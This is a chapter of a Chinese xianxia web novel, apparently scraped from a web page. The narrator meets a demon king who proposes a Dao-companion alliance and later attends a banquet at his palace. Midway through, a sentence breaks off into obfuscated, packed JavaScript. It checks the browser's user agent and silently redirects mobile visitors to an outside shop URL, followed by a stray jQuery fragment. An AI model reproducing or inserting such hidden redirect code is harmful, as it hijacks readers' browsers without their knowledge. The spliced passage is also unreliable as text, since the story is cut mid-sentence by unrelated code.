我拆开信封。
入目是五个字——小心南玄仙。
我眼眸微动,将信封折回。
小心李晏京?
我开始思索一切有关李晏京的事,修为、道心、无名峰、清月、他的欲念……
徐昭指的是魂丝?还是禁阁?又或者是李晏京剥离自己神魂之欲的举动?
叩、叩——
紧闭的大门被敲响,我捏着信的手微顿,很快放松,将其暂时塞入怀中,与孟竹臣对视。
孟竹臣会意,他眉眼微压,神识扫过大门:“……是祝青蚨,他消息倒是快。”
我淡笑:“人家好歹是妖王,不至于为了我们和族人翻脸,他也没有趁机打劫不是吗?就冲这点,我还是得见的。”
孟竹臣不赞同道:“可他修为不低,谁能保证他没有贪心?妖族本性纯善者极少,祝青蚨能屠了妖王宫,你觉得他会是什么心慈手软、博爱众生的妖?我和你一起去。”
我摇摇头,想起在外的李晏京:“不要紧,我有分寸。”
打开大门,我率先看向的不是祝青蚨。
越过他的身侧,外面的围观妖修已经尽数散去,地上跪伏着的三名妖修已经身亡,妖丹悬浮在祝青蚨身侧,滴滴答答流着新鲜妖血。
我视线轻移,李晏京站在门边,不知何时已经变换容貌。模样平凡,胜在眉眼深邃、身姿挺拔,像个守卫一样站着。
祝青蚨的手在我眼前挥了挥,我转头看向他,他弯起眼睛:“许久不见,郁负雪。本王听闻你回来,本想邀请你去妖王宫一观,没想到碰到这种事情。是本王管教不严,才使得妖来冲撞了你,特向你赔罪。”
看来他一直注意着梧言楼的动静,下手倒是快,真是个坏虫子。
三枚高阶妖丹转到我面前,我淡淡扫过,稍一侧身,妖丹被我的灵力裹住,飞到孟竹臣的手中。
“真让本王伤心啊。”祝青蚨见我收下妖丹,“一点儿笑都不给?”他欲抬脚进来,站在门边的李晏京眸光掠过,他又收回脚。
我不确定祝青蚨有没有猜出李晏京的身份。
“不让本王进去吗?”祝青蚨转眼看李晏京时,眼睛变成虫类复眼,我清楚地看见他流露的不屑。
我无声地轻笑两下。
这些时日经常犯蠢,实在不应当,我都要唾弃自己了。
我凭什么觉得,妖王看见我,再看我身边有个修为莫测的人,就能把我和南玄仙尊联系在一起?
碧泉镇众目睽睽之下的吻,也只有寥寥数人知晓罢了。
扭头面对我时,祝青蚨的眼睛变回原样,他扬扬下巴:“聊聊?或许你有想要知道的事情。”
李晏京没什么表情,姿势也没动过,我沉思片刻转身,给孟竹臣使了个眼色,他会意地点头,上楼去找两姐妹。
我轻弹指尖,尚且完好的桌椅飞来。看见三把座椅,祝青蚨挑眉哼笑:“旁人就不必在了吧?毕竟结为道侣是你我二人的事。”
我动作稍顿,率先坐下,没把他的话当回事,祝青蚨本就喜欢把这句话挂嘴边,什么喜欢不喜欢的,当不得真。
如果他想趁机发难,就算我不敌祝青蚨,看在才为我灌输过灵力的份儿上,李晏京这道欲念再怎么样也不会袖手旁观。
可我没想到李晏京什么也没说,转身朝着楼梯走去,只是我脑中响起他的传音。
“……道侣?”
我的回音石沉大海,祝青蚨在我对面抖袖坐下,我不动声色地扫了眼楼梯处,李晏京的身影已经消失。
祝青蚨挥手隔开一方小空间。
“最近很不太平啊,你怎么看?不过本王看你还是不怕的,你仍这副打扮,生怕没人对你来个宁可错杀不可放过的行为?”
我想,就算我极力否认,也搏不出退路。
“那你呢,妖王不想得我……一跃成尊?”我慢条斯理地说。
祝青蚨哼笑一声,轻轻挥手,袖袍中飞出几点微光,迅速变至正常大小,化作酒壶与杯盏,小酒壶倾斜,淅沥沥地倒出酒水,我给面子的抿了一口。
“本王没有那野心,妖尊是妖尊,我一介小虫子,当个妖王每天耍耍威风,也足够光耀门楣了。”祝青蚨一口饮尽,酒壶自动斟满。
“妖王说笑了。”
看来付渚没死,威严仍在,只是不问世事、闭关不出。
我垂眸,抿一口酒,淡淡辣味在舌尖漫开,醇香后至,劲道不小。
祝青蚨来回转着酒杯,妖族多用酒坛、酒碗,少有这种文雅的小酌之意,祝青蚨在模仿人类方面,学了个七七八八。
“现在外面什么情况,你也清楚。其实这些年间除了南玄仙尊,魔尊,我们妖尊这类顶尖强者之外,少有其他修为强劲之人。”
所以这也是程月舒备受瞩目的原因。
我搁下酒杯,淡声应和。
“登仙路的事在各派……或者说是各方高层里不是秘密,你觉得他们会放弃成仙的希望吗?”祝青蚨敲敲桌子。
我抬头,淡笑:“不会。”
祝青蚨莞尔道:“我对成仙没有兴趣,妖尊也并无指示,郁负雪不如入我妖王宫,这样我能名正言顺地保护你。”
在祝青蚨的管辖下,现在妖族比以往更看重族内关系,如果多出妖王道侣的身份,正道的人想要出手,也需掂量一二。
毕竟他们自诩清高,贸然对我动手伤及无辜,如何能谈得上是无愧道心,救世清明?
祝青蚨十分诚恳道:“本王真的喜欢你,郁负雪,你若嫌弃本王……嫌弃我是个虫,不要紧,我不会碰你一根头发。”
他在打什么主意?
我轻飘飘看过去,祝青蚨头戴紫冠,贵气得像皇子,哪里有虫类弱小的模样。
“知道了,我考虑一下。”
我随口应下,顺势提出要求时方便许多。
祝青蚨听后差点把酒杯摔了。
“你喝醉了?抿两口就醉了?如果不想做道侣本王又不会逼你,本来本王和妖尊避世不管外界纷乱的想法都差不多,不会拿你去赌那成仙之事……你不至于吧?”
我淡淡挑起一边眉,不做评判。
“我相信你。”
祝青蚨太阳穴直跳,他抬手扶住脑袋,表情颇为复杂地闭眼:“……前面那件事再说,后面的事本王会向妖尊提议。”
说罢,他放下手正色道:“郁负雪,开秘境邀请正魔两道之事不一定能成,你要知道,我并不如当年的妖尊有威望。”
我当然知道。
“你只需要说是我的提议就行。”
付渚虽然是只鹿,但当年在妖族崛起得十分迅速,天道能给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542105|203792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的助力无外乎是修炼法诀、秘宝典籍、若有若无的杂乱之音。
他能坐稳妖尊之位,说到底还是靠他自己,在这方面,祝青蚨比他缺少的是做妖尊的野心,以及对同类毫不犹豫下手的狠心。
付渚可以随意斩杀违背他意愿的妖。
祝青蚨却很少动手,他大多时候只是笑。
倒是比参禅慈悲些。
从小空间中走出,送走祝青蚨,我便上楼寻找李晏京的身影。
他待在二楼,能看见我刚刚出来的地方,我走到他旁边,观察他的神色。
李晏京也转头看我,伸出手捏住我的下巴,倾身吻来。
“谈好了?要和他结为道侣?”
我内心松了口气,祝青蚨开辟出来的空间,谈话内容李晏京是听不见的。
“师祖,”我打开他的手,躲开他的吻,淡淡道,“你问这么多,是不同意吗?以什么身份?玄清宗的老祖?”
李晏京收手,直起身轻轻皱眉:“他能给你的,我同样可以。”
我没再说别的,用一个稍显轻浮的吻安抚他,笑着敷衍道:“知道了。”
祝青蚨的提议没有被驳回。
妖族广发邀请函,将于四月初四请正魔两道高阶修士在妖王宫宴饮,达同修之好,并于巳时共入蓬莱秘境寻机缘、增修为。
蓬莱秘境并非是逢仙岛那种乱世才开的秘境,其开启秘钥在妖尊之手,也就是说,这场邀请,可能是妖尊亲自所发,所求为何,众人一概不知。
于是他们纷纷猜测。
现任妖王祝青蚨只是一只上不得台面的虫子,站哪一方都不太合适,妖尊为妖族未来,打算在此次宴会上力挺妖王。
或者,妖尊实力仍在,是想给南玄仙尊、魔尊一个下马威,谁人不想成仙?可小小弟子哪里够分?三个老妖怪保不准要暗暗掐架。
再有人猜,妖尊聚集两方高阶修士,是想让两方休战,他毕竟闭关许久,怕是已经不喜这些刀剑相碰、门派相残、殃及族人之事了。
这日,我和李晏京来到妖王宫,孟竹臣和杏言、杏梧留在梧言楼。
孟竹臣是不想见昔日同窗,他们的冷漠令他发指。
杏言和杏梧只是不喜欢凑热闹,她们想再装点装点梧言楼就去闭关,所以抓紧每分每秒利用时间。
妖王宫门前宾客云集,所有飞行法器都不得飞入妖王宫范围,众人步向大殿。
长道两旁,守护妖兽盘踞在高.柱之上,偌大的兽眼扫过每一位来宾,鼻息喷出,威风凛凛。
王宫主殿檐边,坐着一排少年,嘻嘻哈哈地聊着天,他们眼下有灰褐斑纹,模样灵动,头上还插着几根褐色黑褐尾羽。
他们是群爱热闹的麻雀。
他们只看一眼来人,便能瞧出谁为主、谁为从,一一跃下,将地位稍低的人引至旁侧偏殿,又来一人,将高修为的带入主殿。
身后传来声音。
“诶!凭什么跟他来的那人就能进去!”
少年嬉笑地声音响起:“因为他们修为都比你高呀,嘻嘻,不然你去比试比试?”
我和李晏京踏入殿中,左侧坐着正道修士,右边坐着群魔修,泾渭分明。
我目光微凝。
魔修簇拥之中,江岸支着腿,享受身边人的伺候,笑得意气风发。